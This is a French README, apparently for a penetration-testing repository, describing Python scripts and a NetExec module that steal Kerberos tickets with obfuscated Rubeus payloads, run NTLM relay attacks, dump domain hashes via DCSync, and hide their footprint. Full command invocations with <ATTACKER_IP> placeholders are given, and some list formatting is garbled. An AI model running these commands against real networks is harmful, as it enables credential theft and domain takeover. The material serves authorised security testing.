
Boîte à outils automatisée de post-exploitation Active Directory pour l'extraction de tickets Kerberos, les attaques de relais NTLM, et le mouvement latéral via l'intégration de NetExec, Impacket et Donut.
Ce dépôt contient une collection de scripts d'orchestration Python conçus pour les évaluations de sécurité et les tests d'intrusion dans les environnements Active Directory. Ces outils sont spécifiquement conçus pour des scénarios de post-exploitation où un accès administratif local a déjà été établi sur une station de travail ou un serveur compromis, et l'objectif est d'effectuer un mouvement latéral ou une escalade de privilèges vers le domaine Active Directory plus large.
En automatisant les workflows impliquant des utilitaires de sécurité courants tels que NetExec, Impacket, Donut et BloodyAD, ces scripts simplifient des processus complexes en plusieurs étapes en opérations reproductibles et exécutables en une seule commande.
Les scripts nécessitent que les outils suivants soient installés sur le système hôte et disponibles dans le PATH du système :
nxc)impacket-ntlmrelayx, impacket-secretsdump, impacket-ticketConverter)awk, base64Pour un formatage amélioré de la sortie console, installez les paquets suivants :
pip install colorama rich
harpyTGT.py)Ce script automatise l'extraction d'un Ticket Granting Ticket (TGT) Kerberos à partir d'une session Windows connectée et le convertit au format ccache compatible Linux.
Rubeus.exe via Donut, applique une obfuscation avec Myph, et exécute le binaire résultant sur l'hôte cible en utilisant soit des tâches planifiées (schtask_as) soit mmcexec.Exécution standard (l'utilisateur cible dispose de privilèges administratifs) :
./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe>
Exécution alternative (l'utilisateur cible ne dispose pas de privilèges administratifs) :
./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe> --no-target-admin --attacker-ip <ATTACKER_IP>

harpyRelay.py)Ce script coordonne des attaques de relais NTLM ciblant des politiques de signature SMB ou LDAP mal configurées sur les contrôleurs de domaine pour réaliser une escalade de privilèges à l'échelle du domaine ou effectuer un dump de la base de données NTDS (DCSync).
ntlmrelayx, déclenche une demande d'authentification depuis le client compromis via NetExec, surveille la sortie pour une exploitation réussie et dump les hashs du domaine. L'outil contient des routines de nettoyage automatisées pour minimiser l'empreinte sur le domaine cible.Flux LDAPS (standard) :
./harpyRelay.py--target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL>
Flux LDAP (flux alternatif lorsque LDAPS n'est pas disponible) :
./harpyRelay.py --target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL> --no-ldaps

stealTGTUn module personnalisé pour NetExec (nxc) conçu pour extraire le Ticket Granting Ticket (TGT) Kerberos d'un utilisateur spécifique connecté sur la machine cible.
Le module interagit via mmcexec en tant que SYSTEM, automatisant la génération d'une charge utile furtive (encapsulant Rubeus avec Donut et Myph), l'exécutant en mémoire, capturant la sortie du ticket en Base64, et le convertissant de manière transparente en fichier .ccache prêt à être utilisé sous Linux.
Le module vérifie automatiquement que les utilitaires suivants sont installés et disponibles dans votre $PATH :
donutmyphimpacket-ticketConverterPour charger le module externe dans NetExec, copiez le script stealTGT.py dans votre répertoire local de modules NetExec :
cp stealTGT.py ~/.nxc/modules/
netexec smb <TARGET_IP> -u <ADMIN_USER> -p <ADMIN_PASS> --local-auth -M stealTGT -o USER=<TARGET_USER> RUBEUS=/path/to/Rubeus.exe
Options du module (-o) :
USER : Le nom d'utilisateur de la session actuellement connectée à partir de laquelle vous souhaitez extraire le TGT (par exemple, jdoe).RUBEUS : Le chemin local sur votre machine attaquante où se trouve le binaire légitime Rubeus.exe.

bloodyad ou netexec une fois les opérations terminées.AVERTISSEMENT CRITIQUE : Ce dépôt est destiné strictement à des fins d'audit de sécurité autorisé, de recherche de vulnérabilités et d'éducation. L'exécution de ces outils contre une infrastructure de production sans autorisation préalable explicite et écrite des propriétaires du système est strictement interdite. L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages collatéraux ou de conséquences juridiques résultant du déploiement de ce logiciel.